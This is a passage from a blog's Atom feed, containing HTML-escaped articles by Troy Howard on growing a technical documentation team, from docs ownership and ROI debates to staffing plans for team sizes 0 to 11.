are happy to let us do the work, but then they don&#39;t follow-up to maintain and own their product docs long-term.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Prioritization:&lt;/strong&gt; Initial conversations go well, but we can never seem to get the team to prioritize the docs project. We assign work for them to do, but they don&#39;t do it. Overall very little accountability for this failure. No one ever explicitly says that the work won&#39;t be done, but it just keeps getting &amp;quot;put off&amp;quot;, despite our influence/nagging.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Poor ROI:&lt;/strong&gt; Teams feel that the &lt;em&gt;Return On Investment (ROI)&lt;/em&gt; of doing docs-related work is too low. They feel that the investment in terms of time/effort is too high, compared with the gains in customer experience/value. They explicitly walk away from doing docs work (even when guided by or in collaboration with the TechDocs team). The team leaves with a sense that it wasn&#39;t time well spent, and are less motivated to work on it again in the future, or maintain the work they did.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For each of those problems, there are solutions.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/#-assigning-a-documentation-dri-&#34;&gt;Docs DRI concept&lt;/a&gt; directly addresses ownership issues. Once the &lt;em&gt;Docs DRI&lt;/em&gt; role is assigned, that person can be an embedded documentation advocate, pushing back against prioritization failures, by regularly bringing up the need to do docs work during the team planning meetings.&lt;/p&gt;&#xA;&lt;p&gt;When we&#39;ve used &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/#-option-embedding-on-a-team-&#34;&gt;the embedded model&lt;/a&gt;, we become the &lt;em&gt;de facto&lt;/em&gt; Docs DRI for the team, and we&#39;ve had much better success that way. Another technique to combat prioritization failure is &lt;strong&gt;regular follow-up&lt;/strong&gt; on issues/tickets that relate to docs, instead of letting them go stale. This can be automated, or manually done by the TechDocs team (it may seem like boring grunt work, but is important organizational communication!).&lt;/p&gt;&#xA;&lt;p&gt;Regarding ROI and how working on docs is perceived by Engineering teams, the best approach is to lead with numbers. By performing before/after studies, you can &lt;strong&gt;prove the value of the work&lt;/strong&gt; done on docs. I&#39;ll follow-up soon with a blog post dedicated entirely to that. The important part here is discerning between &lt;em&gt;perceived&lt;/em&gt; lack of value vs &lt;em&gt;actual&lt;/em&gt; lack of value.&lt;/p&gt;&#xA;&lt;p&gt;In other words, it&#39;s certainly possible to spend a lot of time on docs and get nothing out of it. If that&#39;s happening, then that&#39;s a problem and should be fixed. If it&#39;s just a matter of Engineers and Engineering Managers &lt;em&gt;perceiving&lt;/em&gt; a low ROI, when actually the customer impact of docs work is entirely worth it, then it&#39;s up to the TechDocs team to prove the value of that work by quantifying that impact and showing up with numbers that will shift opinions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Engineers respect numbers. Give them numbers!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;shouldnt-we-allocate-more-resources-to-writing-vs-mentorship&#34;&gt;Shouldn&#39;t We Allocate More Resources to Writing vs Mentorship?&lt;/h3&gt;&#xA;&lt;p&gt;**Greg: **I really enjoy the whole &amp;quot;&lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;How to Grow a TechDocs Team&lt;/a&gt;&amp;quot; section, and the specificity with which you go through what should change with each additional member. My main note here is that, at the largest levels of organization, I might push to focus more resources into &lt;em&gt;Writing&lt;/em&gt; and fewer into &lt;em&gt;Mentorship&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;E.g., if we had 20 TechDocs people at Twitter, I feel like we’d be better served to have 2 Mentors and 8 Writers rather than 5 Mentors and 5 Writers. Or maybe there could be more of a focus on crossover roles in the larger organization size — e.g., folks who are 75% &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; and 25% Mentorship&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Troy:&lt;/strong&gt; I intentionally emphasized &lt;em&gt;Mentorship&lt;/em&gt; over &lt;em&gt;Writing&lt;/em&gt;, because I feel like it&#39;s always important (and perhaps increasingly important as a company grows) to encourage a &lt;strong&gt;culture of docs&lt;/strong&gt; in engineering teams.&lt;/p&gt;&#xA;&lt;p&gt;A company should never let the engineers feel like they can stop taking ownership for their own docs. I strongly feel that &lt;strong&gt;writing is a core skill and fundamental aspect of good engineering&lt;/strong&gt;. Within technology companies, tech-writing as a separate independent discipline is primarily meaningful as a quality boost for high-value information products.&lt;/p&gt;&#xA;&lt;p&gt;There is a danger with having more dedicated writers, which is that engineers may feel like they can specialize more and do less writing, since the TechDocs team has more capacity for it. That can cause a pendulum swing wherein technology gets created and a minimal TechDocs team is overwhelmed. This is assuming that the writer to engineer ratio is still in the 1:20 or 1:10 range. If it&#39;s closer to 1:1 or 1:5, then the writers &lt;em&gt;may&lt;/em&gt; be able to keep up, but maybe not.&lt;/p&gt;&#xA;&lt;p&gt;However, I also pessimistically believe that &lt;strong&gt;no tech company will ever value tech-writing equivalently to engineering&lt;/strong&gt;, which means that there will always be a large differential ratio between writers and engineers, at least an order of magnitude, if not two. Of course, if that ratio does fall into that 1:5 to 1:1 range, by all means, tech-writing should take full ownership of the docs and leave the engineers to crank out code (assuming they will still meet with writers as SMEs, which may take as much of their time as just writing basic docs anyway… sooo, maybe not very efficient anyway?).&lt;/p&gt;&#xA;&lt;p&gt;There is also a loss of resiliency when specializing vs generalizing. &lt;strong&gt;Many tech companies suffer high employee turnover rates&lt;/strong&gt;, and &lt;em&gt;reduction in force (RIF)&lt;/em&gt; events that eliminate staff who do not contribute directly to revenue generation. In such cases, imagine that you had a team with 10 dedicated writers, and a team of 20 dedicated engineers who did no writing. Suppose you lost headcount for both writers and engineers, but lost a greater percentage of writers, and ended up with say, 5 writers and 15 engineers. Since your engineers have not been working under a &lt;strong&gt;culture of docs&lt;/strong&gt; they won&#39;t naturally pick up the slack and start writing more, especially considering they just lost engineers and will need to increase their workload. Further, your team of writers will get quickly overwhelmed, without time for mentorship, and will be demotivated by their loss of staff. You may even lose the rest of those writers in such a situation.&lt;/p&gt;&#xA;&lt;p&gt;Now imagine that same situation, but 5 of those original 10 writers spent their time mentoring the 20 engineers on writing, and encouraging them to spend 25% of their time on writing. The engineers are now producing 75% of their max engineering output (15 engineers worth), and the writing output remains the same (because 25% of 20 engineers == 5 writers worth of output, plus the other 5 writers). &lt;strong&gt;This may seem like a loss of engineering productivity, but it&#39;s actually a gain in resiliency&lt;/strong&gt;. When the RIF comes and the TechDocs team is reduced to 5 and the eng team to 15, the engineering team can continue to produce 3.75 writer&#39;s worth of output, plus the 5 fulltime writers, leaving you with 8.75 writers and 11.25 engineers worth of output. That is a much more balanced portfolio.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m also implicitly prioritizing quantity of output over quality and long-term resiliency over short-term impact. &lt;strong&gt;That may not always be the right set of values&lt;/strong&gt;. Depending on the phase of the company, and the long-term and short-term goals of company, they may wish to focus on maximizing quality of writing on certain high-value topics. For example, a company that produces an API-driven product, when it is first building its market and attempting to rapidly acquire customers, should probably dedicate their full-time technical writers towards producing the highest possible quality of public-facing docs, since that&#39;s the &lt;em&gt;only&lt;/em&gt; interface the customers will have.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;I make some strong statements above, but please remember to take it with a grain of salt... all of this is entirely based on scaling a set of &lt;strong&gt;random assumptions&lt;/strong&gt; about potential productive output, with &lt;strong&gt;no real data&lt;/strong&gt; to support it. That&#39;s why I really want to measure real output via the &lt;a href=&#34;http://codewerdz.org/&#34;&gt;Codewerdz project&lt;/a&gt;. I want more legitimate numbers about both what engineers can/will do and what tech-writers can/will do.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Scaling a TechDocs Team from 1 to 100 (Part 2)</title>
		<id>https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-2%29</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-2%29" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-2%29" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-2%29" type="text/html"></link>
		<published>2018-01-09T00:00:00+00:00</published>
		<updated>2018-01-09T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;h2 id=&#34;how-to-grow-a-techdocs-team&#34;&gt;&lt;strong&gt;How to Grow a TechDocs Team&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Getting a handle on technical documentation is an essential part of any software project, yet this fact seems to get forgotten by most companies during their staffing discussions. Rarely does a tech startup co-founder think to hire a technical writer as part of their initial engineering team. Many companies do not even have a single dedicated person on documentation. So, let&#39;s start there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: This is the second article of a three-part series. The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/&#34;&gt;first part&lt;/a&gt; discusses strategy while the &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;third part&lt;/a&gt; wraps up with some more in depth discussion.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-0&#34;&gt;&lt;strong&gt;Team Size: 0&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Even without a dedicated documentarian, your company can still use the strategies outlined in this post. Instead of a formalized TechDocs team, create an &lt;em&gt;internal meta-team&lt;/em&gt; composed of docs-curious engineers, designers, managers and marketers. This meta-team should start with the &lt;em&gt;Platform and Policy&lt;/em&gt; tier, collaborating to create company-wide resources that everyone can use. A regularly-scheduled &lt;em&gt;Doc Day&lt;/em&gt; once a month (or even once a quarter) can keep the forest fires contained, even if the backlog never really seems to get any smaller. Individuals can be tasked to &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; for important projects, or assign themselves as the de facto &lt;em&gt;Docs DRI&lt;/em&gt; for their team. When working on docs, don&#39;t forget to &lt;em&gt;Put A Number On It&lt;/em&gt; to hold yourself accountable and have success stories to use when making the case for your first full-time documentarian.&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-1-5&#34;&gt;&lt;strong&gt;Team Size: 1-5&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;You don&#39;t know how happy I am that you&#39;re reading this section. That means that your company has taken a leap of faith, realized that &lt;strong&gt;technical documentation is crucial to the success of their product&lt;/strong&gt;, and put their money into action by hiring a dedicated &lt;em&gt;documentarian&lt;/em&gt;. &lt;strong&gt;THIS IS AWESOME!&lt;/strong&gt; (Cue &amp;quot;Everything is Awesome&amp;quot; from the &lt;em&gt;Lego Movie&lt;/em&gt; soundtrack).&lt;/p&gt;&#xA;&lt;p&gt;No one at the company is even sure what that word &lt;em&gt;documentarian&lt;/em&gt; means yet, but the hardest part is already over. So, where do you start?&lt;/p&gt;&#xA;&lt;h4 id=&#34;1-an-army-of-one&#34;&gt;&lt;strong&gt;1: An Army Of One&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;If you&#39;re the only documentarian at your company, congratulations! You&#39;re the &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt; now. Whether or not you have that title, that&#39;s your job. You are not there to write docs. You are there to run a doc-writing program.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: You should focus your time primarily on &lt;em&gt;Platform and Policy&lt;/em&gt; (50%), with &lt;em&gt;Mentorship&lt;/em&gt; and &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; both consuming roughly 25% of your time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 platform improvement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 1 major writing project per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;If you have a &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: It&#39;s very likely that your company has more engineers than it does documentarians at this point. By investing in &lt;em&gt;Platform and Policy&lt;/em&gt;, you can activate your engineers to be perfectly adequate documentarians in their spare time. Your &lt;em&gt;Mentorship&lt;/em&gt; efforts will help them develop a better culture. And when it&#39;s really important, for about a quarter every year, you can roll up your sleeves to &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; and get to the wordsmithing you love to do.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: You know that your company needs more than one documentarian, but you need to prove it. You&#39;re the expert and also the experiment that they are using to decide if they should invest further or not. Pay close attention to your &lt;em&gt;metrics&lt;/em&gt; and make sure that you can &lt;em&gt;prove the ROI&lt;/em&gt; of your work. Those stories will support you when you make your case to hire the next one, two, ten or twenty documentarians.&lt;/p&gt;&#xA;&lt;h4 id=&#34;2-two-minds-are-better-than-one&#34;&gt;&lt;strong&gt;2: Two Minds Are Better Than One&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;You did it! You proved your value, asked for more help, and they said that most magic of words: &lt;strong&gt;YES!&lt;/strong&gt;. So what should this new person be doing? More of the same? Should you hire for someone who is a generalist, more of a writer, or more of an engineer? Well, it depends.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: A team of two still isn&#39;t enough to specialize. When hiring for this second role, you&#39;ll need to take a good look at yourself and at your company and try to figure out where your strengths and weaknesses are. Hire someone who is &lt;strong&gt;&lt;em&gt;strong where you are weak&lt;/em&gt;&lt;/strong&gt;. If you have a solid engineering background, or a engineering staff who is willing to help build out your docs platform tooling, then there&#39;s no need to hire someone with specialized engineering skills. You might do better investing in someone with a strong writing background, or vice-versa.&lt;/p&gt;&#xA;&lt;p&gt;Either way, at this stage you will still be focusing on &lt;em&gt;Platform and Policy&lt;/em&gt; and increasing your capacity for &lt;em&gt;Mentorship&lt;/em&gt;. It still doesn&#39;t make sense to spend any additional individual contribution time on &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt;, but having two people will double your output. One person should take the role of &lt;strong&gt;Mentorship Lead&lt;/strong&gt; and the other as &lt;strong&gt;Platform Lead&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (37.5%): 1.5 major improvement to the platform per quarter, 6 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (37.5%): 3 engagements per quarter, 12 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 1 major writing project per quarter, 4 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 1: Mentorship Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (50%): 2 engagements per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 2: Platform Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 major improvement to the platform per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;If you have a &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: You&#39;re still too small to make any kind of a real impact as individual contributors. Focusing on &lt;strong&gt;mentoring engineers to be better writers&lt;/strong&gt; and building out your platform with &lt;strong&gt;&lt;em&gt;more guidance docs&lt;/em&gt;&lt;/strong&gt; is the best way to spend your resources.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: Pretty soon someone is going to ask, &amp;quot;Why do we have two tech-writers on staff, but they spend very little of their time actually writing docs?&amp;quot;...&lt;/p&gt;&#xA;&lt;h4 id=&#34;3-threes-company-too&#34;&gt;&lt;strong&gt;3: Three&#39;s Company Too&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Great news! Your &lt;em&gt;dynamic duo&lt;/em&gt; is doing a great job and despite some lack of understanding of &lt;em&gt;exactly what you do here&lt;/em&gt; the company has decided to give you another person. I think you know by now what this person should be doing: &lt;em&gt;focus on writing&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice:&lt;/strong&gt; As usual, you want to hire for your weaknesses, and your weakness at this stage is the &lt;strong&gt;lack of a dedicated writer&lt;/strong&gt; for important projects. You need a &lt;strong&gt;Writing Lead&lt;/strong&gt;. Your first two folks should keep on keeping on exactly as they have been.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (33.3%): 2 major improvement to the platform per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (33.3%): 4 engagements per quarter, 16 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (33.3%): 2 major writing projects per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 1: Mentorship Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (50%): 2 engagements per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 2: Platform Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 major improvement to the platform per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 3: Writing Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (50%): 1 major writing project per quarter, 4 per year*&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;Now is the time to take on those large writing projects you&#39;ve been deferring.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;4-5-do-more-with-less&#34;&gt;&lt;strong&gt;4, 5: Do More With Less&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Grow that team!! Your next two hires should follow the same priority schedule as before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: #4 should be a &lt;strong&gt;TechDocs Mentor&lt;/strong&gt;, focusing on more &lt;em&gt;Mentorship&lt;/em&gt;, and #5 should be a dedicated &lt;strong&gt;Platform Engineer&lt;/strong&gt; for your growing body of policies and tools.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;*&lt;em&gt;NOTE: Your three leads will keep going as before, so we won&#39;t bother repeating that breakdown here.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (33.3%): 4 major improvements to the platform per quarter,  per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (33.3%): 8 engagements per quarter, 32 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (33.3%): 2 major writing projects per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 4: TechDocs Mentor&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (100%): 4 engagements per quarter, 16 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 5: Platform Engineer&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (100%): 2 major improvements to the platform per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: By the time you&#39;re a team of five (5), you&#39;ve probably got some bespoke tooling, and need a dedicated engineer to maintain, operate, and develop it. Mentorship is still your best bet, and doing 32 engagements per year allows you to service a medium-sized engineering organization. If we assume that each engineering team is about five (5) people on average, that means your team of five (5) is mentoring a group of ~160 engineers every year. If that&#39;s all the engineers, great! If that&#39;s 50%, that&#39;s still pretty good! Your ratio makes a big difference here.&lt;/p&gt;&#xA;&lt;p&gt;If you&#39;re like us at Twitter, with a 750:1 ratio, this is still not really enough, as that&#39;s only about 10% of the engineers who are receiving mentorship each year. Hopefully they will talk to the other 90%, but we can&#39;t really rely on that, now can we?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: With a team of five (5) people, you&#39;re probably going to notice a major vacuum in leadership. Your next hire should be someone to function as a dedicated manager for this growing team.&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-6-11&#34;&gt;&lt;strong&gt;Team Size: 6-11&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Now that we&#39;ve seen what 0-5 looks like, in a lot of detail, the next tier of growth should be fairly intuitive. I&#39;ll just sketch out the basics:&lt;/p&gt;&#xA;&lt;h4 id=&#34;6-coordination-and-management&#34;&gt;&lt;strong&gt;6: Coordination and Management&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;For any team of five (5) people or more, you &lt;strong&gt;need&lt;/strong&gt; a dedicated manager. It&#39;s too much overhead for the leads to constantly explain the direction and purpose, and stand-ups are getting a little chaotic because your &lt;strong&gt;Tech Docs Mentor&lt;/strong&gt; spends a lot of time explaining the needs of the numerous teams they are working with, while your &lt;strong&gt;Platform Engineer&lt;/strong&gt; gets tediously nerdy about the details of why your docs publishing platform crashed (again) last week. Someone needs to get this crew on the same page, and needs to explain this growing expenditure to the higher-ups, and field in-bound requests from other teams and organizations for your help. Your &lt;strong&gt;TechDocs Manager&lt;/strong&gt; will do all of those functions without batting an eye, and still remember everyone&#39;s birthday, and plan regular off-sites to keep everyone glowing with happiness, by positively reinforcing your successes... They can also spend their time focusing on hiring the next 5 to 95 people that will make up your organization.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;7 to 10: Grow and Specialize&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The next four (4) hires should look something like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;7: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;8: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;9: &lt;strong&gt;+1 platform&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;10: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At a team size of ten (10), your roles will be: 4 mentorship, 3 platform, 2 writing, 1 manager.&lt;/p&gt;&#xA;&lt;p&gt;You&#39;ll notice a small shift in priorities here, with less emphasis on platform and more on mentorship and writing. You have your first &lt;em&gt;dedicated&lt;/em&gt; &lt;strong&gt;Tech Writer&lt;/strong&gt; at #8, cranking out eight (8) projects per year by themselves. The beauty of scalable tools is that they need less and less investment over time, not more, so your two (2) dedicated &lt;strong&gt;Platform Engineers&lt;/strong&gt;, and their lead should be able to keep up fine. The cross-functional leads will &lt;em&gt;specialize more&lt;/em&gt;, and stop trying to do everything at the same time, focusing just on their niche.&lt;/p&gt;&#xA;&lt;h4 id=&#34;11-we-need-some-structure&#34;&gt;&lt;strong&gt;11: We Need Some Structure&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;At this point we have three (3) full time mentors, with a lead, two (2) full time platform engineers, with a lead, and one (1) full time writer, with a lead, and a manager overseeing all of this glorious documentation activity.&lt;/p&gt;&#xA;&lt;p&gt;Should we continue like this &lt;em&gt;ad infinitum&lt;/em&gt;? Is there something else we are missing?&lt;/p&gt;&#xA;&lt;p&gt;There is. Your writers are cranking out 12 projects every year, and your mentors are talking to 56 teams a year (~300 engineers). Those engineering teams are probably writing at least one documentation project for each team, maybe more. So you&#39;re seeing a growth in docs of about 60-70 projects a year. You&#39;ve got good tooling for search, but it&#39;s still hard to dig through this massive corpus. You need someone to &lt;strong&gt;&lt;em&gt;organize the universe&lt;/em&gt;&lt;/strong&gt;. You need an &lt;strong&gt;Information Architect&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your #11 hire should be someone who works entirely on &lt;em&gt;Information Architecture (IA)&lt;/em&gt;. This person will create vertical pillars through your docs focusing and segmenting the readers, making sure they can easily &lt;em&gt;browse&lt;/em&gt; their way to success, in addition to &lt;em&gt;search&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 